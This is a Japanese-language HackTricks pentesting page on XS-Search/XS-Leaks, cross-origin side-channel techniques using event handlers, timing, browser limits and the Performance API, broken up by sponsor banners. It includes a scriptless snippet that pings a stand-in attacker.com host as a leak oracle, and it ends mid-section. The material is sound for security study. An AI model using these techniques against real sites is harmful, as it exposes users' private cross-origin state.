hacktricks/pentesting-web/xs-search.md

# XS-Search/XS-Leaks

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><strong>htARTE（HackTricks AWS Red Team Expert）でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>!</strong></summary>

HackTricksをサポートする他の方法：

* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**公式PEASS＆HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する
* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出する

</details>

## 基本情報

XS-Searchは、**サイドチャネルの脆弱性**を利用して**クロスオリジン情報を抽出**するための手法です。

この攻撃に関与する主要なコンポーネントは次のとおりです：

* **脆弱なWeb**: 情報を抽出する対象のWebサイト。
* **攻撃者のWeb**: 攻撃者が作成した悪意のあるWebサイトで、被害者が訪れ、攻撃をホストする。
* **インクルージョンメソッド**: 脆弱なWebを攻撃者のWebに組み込むために使用される技術（例：window.open、iframe、fetch、hrefを持つHTMLタグなど）。
* **リーク技術**: インクルージョンメソッドを通じて収集された情報に基づいて脆弱なWebの状態の違いを識別するために使用される技術。
* **状態**: 攻撃者が区別しようとする脆弱なWebの2つの潜在的な状態。
* **検出可能な違い**: 攻撃者が脆弱なWebの状態を推測するために依存する観察可能な変化。

### 検出可能な違い

脆弱なWebの状態を区別するためにいくつかの側面が分析されます：

* **ステータスコード**: クロスオリジンで**さまざまなHTTP応答ステータスコード**を区別し、サーバーエラー、クライアントエラー、認証エラーなどを特定します。
* **APIの使用**: ページ間で**Web APIの使用**を特定し、クロスオリジンページが特定のJavaScript Web APIを使用しているかどうかを明らかにします。
* **リダイレクト**: HTTPリダイレクトだけでなく、JavaScriptやHTMLによってトリガーされる異なるページへのナビゲーションを検出します。
* **ページコンテンツ**: HTTP応答本体やページのサブリソース（埋め込まれたフレームの数や画像のサイズの違いなど）の変化を観察します。
* **HTTPヘッダー**: 特定のHTTP応答ヘッダー（X-Frame-Options、Content-Disposition、Cross-Origin-Resource-Policyなど）の存在または値を認識します。
* **タイミング**: 2つの状態間で一貫した時間の違いに気付きます。

### インクルージョンメソッド

* **HTML要素**: HTMLは、スタイルシート、画像、スクリプトなどの**クロスオリジンリソースのインクルージョン**にさまざまな要素を提供し、ブラウザに非HTMLリソースのリクエストを要求させます。この目的のための潜在的なHTML要素のコンパイルは[https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks)で見つけることができます。
* **フレーム**: **iframe**、**object**、**embed**などの要素は、HTMLリソースを攻撃者のページに直接埋め込むことができます。ページに**フレーミング保護がない**場合、JavaScriptはcontentWindowプロパティを介してフレーム化されたリソースのwindowオブジェクトにアクセスできます。
* **ポップアップ**: **`window.open`**メソッドは、新しいタブやウィンドウでリソースを開き、JavaScriptがSOPに従ってメソッドやプロパティとやり取りするための**ウィンドウハンドル**を提供します。シングルサインオンでよく使用されるポップアップは、対象リソースのフレーミングやクッキー制限を回避します。ただし、現代のブラウザはポップアップの作成を特定のユーザーアクションに制限しています。
* **JavaScriptリクエスト**: JavaScriptは、**XMLHttpRequest**や**Fetch API**を使用して、対象リソースに直接リクエストを送信できます。これらのメソッドは、HTTPリダイレクトのフォローオプションなど、リクエストに対する正確な制御を提供します。

### リーク技術

* **イベントハンドラ**: XS-Leaksでの古典的なリーク技術で、**onload**や**onerror**などのイベントハンドラが、リソースの読み込みの成功または失敗に関する洞察を提供します。
* **エラーメッセージ**: JavaScriptの例外や特別なエラーページは、エラーメッセージ自体から直接リーク情報を提供するか、その存在と不在の違いを区別することでリーク情報を提供することができます。
* **グローバルリミット**: ブラウザの物理的な制限（メモリ容量など）や他の強制されたブラウザの制限は、しきい値に達したときに信号を送ることができ、リーク技術として機能します。
* **グローバルステート**: ブラウザの**グローバルステート**（例：Historyインターフェース）との検出可能な相互作用を悪用できます。たとえば、ブラウザの履歴に含まれる**エントリの数**は、クロスオリジンページに関する手がかりを提供できます。
* **Performance API**: このAPIは、現在のページの**パフォーマンスの詳細**を提供し、ドキュメントや読み込まれたリソースのネットワークタイミングを含み、リクエストされたリソースについての推論を可能にします。
* **読み取り可能な属性**: 一部のHTML属性は**クロスオリジンで読み取り可能**であり、リーク技術として使用できます。たとえば、`window.frame.length`プロパティは、クロスオリジンのWebページに含まれるフレームの数をJavaScriptで数えることができます。

## XSinatorツール＆論文

XSinatorは、その論文で説明されている**いくつかの既知のXS-Leaksに対してブラウザをチェックする自動ツール**です：[**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)

ツールにアクセスするには[**https://xsinator.com/**](https://xsinator.com/)をご利用ください。

{% hint style="warning" %}
**除外されたXS-Leaks**: 他のXSinatorのリークと干渉する可能性があるため、**サービスワーカーに依存するXS-Leaks**を除外する必要がありました。さらに、特定のWebアプリケーションのミス構成やバグに依存するXS-Leaks（例：CORSミス構成、postMessageの漏洩、クロスサイトスクリプティングなど）を**除外**することを選択しました。さらに、時間ベースのXS-Leaksは、遅延が発生しやすく、ノイズが多く、正確性に欠けるため、**除外**しました。
{% endhint %}

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## **タイミングベースのテクニック**

以下のいくつかのテクニックは、ウェブページの可能な状態の違いを検出するプロセスの一部としてタイミングを使用します。ウェブブラウザで時間を測定する方法にはさまざまなものがあります。

**クロック**: [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) APIを使用すると、高解像度のタイミング測定を取得できます。\
攻撃者が暗黙のクロックを作成するために悪用できるAPIはかなり多くあります: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSSアニメーションなど。\
詳細についてはこちら: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).

## イベントハンドラテクニック

### Onload/Onerror

* **インクルージョンメソッド**: フレーム、HTML要素
* **検出可能な違い**: ステータスコード
* **詳細情報**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
* **概要**: リソースをロードしようとするときにonerror/onloadイベントがトリガーされ、リソースが正常に/正常にロードされない場合にステータスコードを特定できます。
* **コード例**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](https://xsinator.com/testing.html#Event%20Handler%20Leak%20\(Script\))

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %}
[cookie-bomb-+-onerror-xs-leak.md](xs-search/cookie-bomb-+-onerror-xs-leak.md)
{% endcontent-ref %}

コード例では、**JSからスクリプトオブジェクトをロード**しようとしますが、**オブジェクト、スタイルシート、画像、オーディオなどの他のタグ**も使用できます。さらに、**タグを直接挿入**して、タグ内で`onload`と`onerror`イベントを宣言することも可能です（JSから挿入するのではなく）。

この攻撃のスクリプトレスバージョンもあります。
```html
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
```
### Onload Timing

* **Inclusion Methods**: HTML Elements
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
* **Summary:** [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API**を使用してリクエストの処理にかかる時間を測定できます。他のクロックとしては、50ms以上のタスクを識別できる[**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming)などが使用される可能性があります。
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 他の例は以下にあります:

{% content-ref url="xs-search/performance.now-example.md" %}
[performance.now-example.md](xs-search/performance.now-example.md)
{% endcontent-ref %}

#### Onload Timing + Forced Heavy Task

この技術は前述のものと同様ですが、**攻撃者**は**肯定的または否定的な回答**の際に**関連する時間**をかけるアクションも**強制**し、その時間を測定します。

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %}
[performance.now-+-force-heavy-task.md](xs-search/performance.now-+-force-heavy-task.md)
{% endcontent-ref %}

### unload/beforeunload Timing

* **Inclusion Methods**: Frames
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
* **Summary:** [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers)を使用してリクエストの処理にかかる時間を測定できます。他のクロックも使用できます。
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)

リソースを取得するのにかかる時間は、[`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event)と[`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event) イベントを利用して測定できます。 **`beforeunload`** イベントはブラウザが新しいページに移動しようとしているときに発生し、**`unload`** イベントは実際のナビゲーションが行われているときに発生します。これら2つのイベントの時間差を計算することで、**ブラウザがリソースを取得するのに費やした時間**を決定できます。

### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>

* **Inclusion Methods**: Frames
* **Detectable Difference**: Timing (generally due to Page Content, Status Code)
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
* **Summary:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) APIを使用してリクエストの処理にかかる時間を測定できます。他のクロックも使用できます。
* **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)

[Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/)がない場合、ページとそのサブリソースがネットワーク上で読み込まれるのにかかる時間を攻撃者が測定できることが観察されています。 これは通常、iframeの`onload`ハンドラがリソースの読み込みとJavaScriptの実行が完了した後にのみトリガーされるため可能です。スクリプトの実行によって導入される変動性をバイパスするために、攻撃者は`<iframe>`内で[`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe)属性を使用することがあります。 この属性の追加により、JavaScriptの実行を含む多くの機能が制限され、主にネットワークパフォーマンスに影響を受ける測定が容易になります。
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
```
### #ID + エラー + onload

* **Inclusion Methods**: フレーム
* **Detectable Difference**: ページコンテンツ
* **More info**:
* **Summary**: 正しいコンテンツにアクセスしたときにページにエラーを発生させ、任意のコンテンツにアクセスしたときに正しく読み込まれるようにすると、時間を計測せずにすべての情報を抽出するループを作成できます。
* **Code Example**:

ページ内に秘密のコンテンツを挿入できると仮定します。

被害者に、CSRFを悪用してIframeを使用して「_flag_」を含むファイルを検索させることができます。Iframe内では、_onload イベント_ が常に少なくとも1回実行されることがわかります。その後、URLのハッシュ内のコンテンツだけを変更して、IframeのURLを変更できます。

例:

1. **URL1**: www.attacker.com/xssearch#try1
2. **URL2**: www.attacker.com/xssearch#try2

最初のURLが**正常に読み込まれた**場合、URLの**ハッシュ**部分を**変更**すると、**onload** イベントは**再度トリガーされません**。しかし、ページが読み込まれる際に何らかの**エラー**がある場合、**onload** イベントは**再度トリガー**されます。

そのため、**正しく**読み込まれたページとアクセス時に**エラー**があるページとを**区別**することができます。

### Javascript Execution

* **Inclusion Methods**: フレーム
* **Detectable Difference**: ページコンテンツ
* **More info**:
* **Summary:** ページが**機密情報**を**返す**か、ユーザーが**制御可能なコンテンツ**を返す場合。ユーザーは**有効なJSコードを設定**し、各試行を**`<script>`** タグ内で**ロード**することができます。したがって、**否定的な**場合には攻撃者の**コード**が**実行**され、**肯定的**な場合には**何も**実行されません。
* **Code Example:**

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %}
[javascript-execution-xs-leak.md](xs-search/javascript-execution-xs-leak.md)
{% endcontent-ref %}

### CORB - Onerror

* **Inclusion Methods**: HTML要素
* **Detectable Difference**: ステータスコード＆ヘッダー
* **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
* **Summary**: **Cross-Origin Read Blocking (CORB)** は、**Spectre**などの攻撃から保護するために、特定の機密なクロスオリジンリソースの読み込みを防ぐセキュリティ対策です。しかし、攻撃者はその保護機能を悪用することができます。**CORB**に従う応答が、`nosniff` と `2xx` ステータスコードを持つ _**CORB保護**_ `Content-Type` を返す場合、**CORB** は応答の本文とヘッダーを削除します。これを観察する攻撃者は、**ステータスコード**（成功またはエラーを示す）と `Content-Type`（**CORB** によって保護されているかどうかを示す）の組み合わせを推測し、潜在的な情報漏洩を引き起こす可能性があります。
* **Code Example**:

攻撃に関する詳細情報については、詳細情報リンクを確認してください。

### onblur

* **Inclusion Methods**: フレーム
* **Detectable Difference**: ページコンテンツ
* **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
* **Summary**: IDまたはname属性から機密データを漏洩させます。
* **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)

**iframe**内に**ページ**を読み込み、**`#id_value`** を使用して、iframe内の要素に焦点を当てることができます。その後、**`onblur`** シグナルがトリガーされると、ID要素が存在します。\
**`portal`** タグを使用して同じ攻撃を実行できます。

### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>

* **Inclusion Methods**: フレーム、ポップアップ
* **Detectable Difference**: APIの使用
* **More info**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
* **Summary**: postMessageから機密情報を収集するか、postMessagesの存在をオラクルとして使用してユーザーのページ内の状態を知ることができます。
* **Code Example**: `すべてのpostMessageを受信するコード。`

アプリケーションは頻繁に異なるオリジン間で通信するために[`postMessage` ブロードキャスト](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) を使用します。ただし、`targetOrigin` パラメータが適切に指定されていない場合、この方法は**機密情報**を誤って公開する可能性があります。さらに、メッセージを受信するだけでも**オラクル**として機能することがあります。たとえば、特定のメッセージはログインしているユーザーにのみ送信される場合があります。そのため、これらのメッセージの存在または不在により、ユーザーの状態やアイデンティティに関する情報が漏洩する可能性があります。

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**できます。\
今すぐアクセスしてください：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

## Global Limits Techniques

### WebSocket API

* **Inclusion Methods**: フレーム、ポップアップ
* **Detectable Difference**: APIの使用
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Summary**: WebSocket接続制限を使い果たすことで、クロスオリジンページのWebSocket接続数が漏洩します。
* **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(FF\)), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](https://xsinator.com/testing.html#WebSocket%20Leak%20\(GC\))

ターゲットページが使用している**WebSocket接続の数**を特定できます。これにより、アプリケーションの状態を検出し、WebSocket接続の数に関連する情報を漏洩させることができます。

1つの**オリジン**が**WebSocket接続オブジェクトの最大数**を使用している場合、その接続の状態に関係なく、**新しいオブジェクトの作成はJavaScript例外を発生**させます。この攻撃を実行するには、攻撃者のウェブサイトがポップアップまたはiframe内でターゲットウェブサイトを開き、ターゲットウェブが読み込まれた後、可能な限り多くのWebSocket接続を作成しようとします。**スローされた例外の数**が、ターゲットウェブサイトウィンドウが使用している**WebSocket接続の数**です。
### Payment API

* **Inclusion Methods**: フレーム、ポップアップ
* **Detectable Difference**: APIの使用
* **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
* **Summary**: 支払いリクエストを検出する。同時にアクティブなものは1つだけ。
* **Code Example**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)

このXS-Leakは、**クロスオリジンページが支払いリクエストを開始したときに検出**することを可能にします。

**支払いリクエストは同時に1つだけアクティブ**にできるため、対象のウェブサイトが支払いリクエストAPIを使用している場合、このAPIを使用しようとする追加の試みは失敗し、**JavaScript例外**が発生します。攻撃者は、**定期的に支払いAPI UIを表示しようとすること**でこれを悪用できます。1つの試みが例外を引き起こす場合、対象のウェブサイトが現在それを使用していることがわかります。攻撃者は、UIを作成した直後にすぐに閉じることで、これらの定期的な試みを隠すことができます。

### イベントループのタイミング <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>

* **Inclusion Methods**:
* **Detectable Difference**: タイミング（通常はページコンテンツ、ステータスコードによる）
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
* **Summary:** シングルスレッドのJSイベントループを悪用してウェブの実行時間を測定する。
* **Code Example**:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
{% endcontent-ref %}

JavaScriptは、[シングルスレッドのイベントループ](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop)並行モデルで動作するため、**一度に1つのタスクしか実行できない**ことを意味します。この特性を悪用して、**異なるオリジンのコードが実行されるのにかかる時間を測定**することができます。攻撃者は、自分のコードの実行時間をイベントループで測定するために、継続的に固定されたプロパティを持つイベントをディスパッチすることで、イベントループでの自分のタスクの実行時間を測定できます。これらのイベントは、イベントプールが空のときに処理されます。他のオリジンも同じプールにイベントをディスパッチしている場合、**攻撃者は自分のタスクの実行に遅延が生じることで、外部イベントの実行時間を推測**することができます。この遅延を監視することで、異なるオリジンのコードの実行時間を明らかにすることができます。これにより、機密情報が公開される可能性があります。

{% hint style="warning" %}
実行時間の測定では、**ネットワーク要因を排除**して**より正確な測定**を得ることができます。たとえば、ページを読み込む前にページで使用されるリソースを読み込むことで。
{% endhint %}

### イベントループのビジー <a href="#busy-event-loop" id="busy-event-loop"></a>

* **Inclusion Methods**:
* **Detectable Difference**: タイミング（通常はページコンテンツ、ステータスコードによる）
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
* **Summary:** ウェブ操作の実行時間を測定するための1つの方法は、スレッドのイベントループを意図的にブロックし、その後、**イベントループが再度利用可能になるまでの時間を計測**することです。イベントループにブロッキング操作（長時間の計算や同期API呼び出しなど）を挿入し、その後のコードの実行が開始されるまでの時間を監視することで、イベントループで実行されていたタスクの期間を推測することができます。この技術は、JavaScriptのイベントループのシングルスレッド性を活用し、タスクが順次実行されるため、同じスレッドを共有する他の操作のパフォーマンスや動作に関する洞察を提供できます。
* **Code Example**:

イベントループをロックして実行時間を測定する技術の重要な利点の1つは、**Site Isolation**を回避できる可能性です。**Site Isolation**は、異なるウェブサイトを別々のプロセスに分離し、悪意のあるサイトが他のサイトから直接機密データにアクセスするのを防ぐことを目的とするセキュリティ機能です。しかし、共有イベントループを介して他のオリジンの実行時間に影響を与えることで、攻撃者はそのオリジンの活動に関する情報を間接的に抽出することができます。この方法は、他のオリジンのデータに直接アクセスするのではなく、そのオリジンの活動が共有イベントループに与える影響を観察することで、**Site Isolation**によって確立された保護バリアを回避します。

{% hint style="warning" %}
実行時間の測定では、**ネットワーク要因を排除**して**より正確な測定**を得ることができます。たとえば、ページを読み込む前にページで使用されるリソースを読み込むことで。
{% endhint %}

### 接続プール

* **Inclusion Methods**: JavaScriptリクエスト
* **Detectable Difference**: タイミング（通常はページコンテンツ、ステータスコードによる）
* **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
* **Summary:** 攻撃者は、1つを除くすべてのソケットをロックし、対象のウェブを読み込みながら同時に別のページを読み込むことで、最後のページが読み込みを開始するまでの時間を測定できる。
* **Code Example**:

{% content-ref url="xs-search/connection-pool-example.md" %}
[connection-pool-example.md](xs-search/connection-pool-example.md)
{% endcontent-ref %}

ブラウザはサーバーとの通信にソケットを使用しますが、オペレーティングシステムとハードウェアのリソースが限られているため、**ブラウザは同時接続の数に制限を課す**必要があります。攻撃者は、次の手順を通じてこの制限を悪用できます：

1. ブラウザのソケット制限を確認します。たとえば、256個のグローバルソケット。
2. 異なるホストに255のリクエストを開始して、接続を完了せずに接続を維持するように設計された255のソケットを長時間占有します。
3. 256番目のソケットを使用して、対象ページにリクエストを送信します。
4. 別のホストに257番目のリクエストを試みます。すべてのソケットが使用中であるため（手順2および3に従って）、このリクエストはソケットが利用可能になるまでキューに入れられます。このリクエストが進行するまでの遅延は、256番目のソケット（対象ページのソケット）に関連するネットワークアクティビティに関する攻撃者にタイミング情報を提供します。これは、手順2で使用された255のソケットが引き続き使用されていることを意味し、新しく利用可能になるソケットは手順3で解放されたものである必要があるためです。256番目のソケットが利用可能になるまでにかかる時間は、対象ページへのリクエストの完了に必要な時間と直接関連しています。

詳細については、[https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)を参照してください。
## パフォーマンスAPIのテクニック

[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) は、Webアプリケーションのパフォーマンスメトリクスに関する洞察を提供し、[`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource\_Timing\_API) によってさらに充実しています。Resource Timing API は、リクエストの詳細なネットワークリクエストのタイミング（リクエストの期間など）の監視を可能にします。特筆すべきは、サーバーが応答に `Timing-Allow-Origin: *` ヘッダーを含めると、転送サイズやドメイン検索時間などの追加データが利用可能になることです。

この豊富なデータは、[`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) や [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) などのメソッドを介して取得でき、パフォーマンス関連情報の包括的なビューを提供します。さらに、API は、[`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) から取得したタイムスタンプの差を計算することで、実行時間の測定を容易にします。ただし、Chrome のようなブラウザでの一部の操作では、`performance.now()` の精度がミリ秒に制限される場合があり、タイミング測定の粒度に影響を与える可能性があります。

タイミング測定を超えて、Performance API はセキュリティ関連の洞察を得るために活用することができます。たとえば、Chrome の `performance` オブジェクトにページが存在するかどうかは、`X-Frame-Options` の適用を示すことができます。具体的には、`X-Frame-Options` によってフレーム内でのレンダリングがブロックされる場合、そのページは `performance` オブジェクトに記録されず、ページのフレーミングポリシーについて微妙な手がかりを提供します。

### エラーリーク

* **含まれる方法**: フレーム、HTML要素
* **検出可能な違い**: ステータスコード
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **概要:** エラーが発生するリクエストはリソースタイミングエントリを作成しません。
* **コード例**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)

**エラー**が発生するリクエストは、**パフォーマンスエントリを作成しません**。

### スタイルリロードエラー

* **含まれる方法**: HTML要素
* **検出可能な違い**: ステータスコード
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **概要:** ブラウザのバグにより、エラーが発生するリクエストが2回読み込まれます。
* **コード例**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)

前述のテクニックでも、GCのブラウザバグにより、**読み込みに失敗したリソースが2回読み込まれる**と特定されました。これにより、パフォーマンスAPIに複数のエントリが生成され、それを検出することができます。

### リクエストマージエラー

* **含まれる方法**: HTML要素
* **検出可能な違い**: ステータスコード
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **概要:** エラーが発生するリクエストはマージできません。
* **コード例**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)

このテクニックは、言及された論文の表に見つかりましたが、そのテクニックの説明は見つかりませんでした。ただし、それについてのソースコードを確認することができます。[https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)

### 空のページリーク

* **含まれる方法**: フレーム
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **概要:** 空の応答はリソースタイミングエントリを作成しません。
* **コード例**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)

攻撃者は、一部のブラウザでは**空のページはパフォーマンスエントリを作成しない**ため、リクエストが空のHTTP応答本文に結果があったかどうかを検出できます。

### **XSSオーディターリーク**

* **含まれる方法**: フレーム
* **検出可能な違い**: ページコンテンツ
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
* **概要:** セキュリティアサーションのXSSオーディターを使用することで、攻撃者は、作成したペイロードがオーディターのフィルタリングメカニズムをトリガーしたときに応答の変更を観察することで、特定のWebページ要素を検出できます。
* **コード例**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)

セキュリティアサーション（SA）では、元々クロスサイトスクリプティング（XSS）攻撃を防ぐために設計されたXSSオーディターが、偶発的に正当なスクリプトをブロックする可能性があり、誤検知を引き起こすことが示されました。これを踏まえ、研究者たちは、XS-Leaksとして知られる概念で、クロスオリジンページ上の情報を抽出し、特定のコンテンツを検出するための技術を開発しました。これらの技術は、GCのXSSオーディターに特有でしたが、SAでは、XSSオーディターによってブロックされたページはパフォーマンスAPIにエントリを生成しないことが判明し、敏感な情報が依然として漏洩する可能性がある方法が明らかになりました。

### X-Frameリーク

* **含まれる方法**: フレーム
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
* **概要:** X-Frame-Optionsヘッダーを持つリソースはリソースタイミングエントリを作成しません。
* **コード例**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)

ページが**iframe**で**レンダリング**されることが**許可されていない**場合、**パフォーマンスエントリを作成しません**。その結果、攻撃者は応答ヘッダー **`X-Frame-Options`** を検出できます。\
同様に、**embed** **タグ**を使用した場合も同様です。

### ダウンロード検出

* **含まれる方法**: フレーム
* **検出可能な違い**: ヘッダー
* **詳細情報**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
